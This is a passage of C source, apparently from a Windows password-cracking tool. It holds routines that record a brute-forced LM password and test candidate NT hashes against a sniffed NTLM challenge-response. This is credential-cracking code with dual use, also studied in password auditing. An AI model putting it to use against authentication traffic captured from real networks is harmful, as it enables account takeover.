      memcpy(index->lmpasswd, brute_str, 14);

      memcpy(index->lmhashb, full_lmhash, 16);

      index->lmdone = 1;

      positive = 1;

    }

    index = index->next;

  }

  return(positive);

}

int nt_check_sniff(struct user_struct *head, char *nthash){

  struct user_struct *index;

  char pre_ntresp[21];

  char response[24];

  int positive=0;

  index = head;

  memset(pre_ntresp, '\0', 21);

  memcpy(pre_ntresp, nthash, 16);

  E_P24(pre_ntresp, index->server_chall, response);

  if (memcmp(index->ntresp_b, response, 24) == 0){

    memcpy(index->nthashb, nthash, 16);

    index->ntdone = 1;

    positive = 1;

  }

  return(positive);

}

int issame(char *one, char *two, int len){

  return(memcmp(one, two, len));

}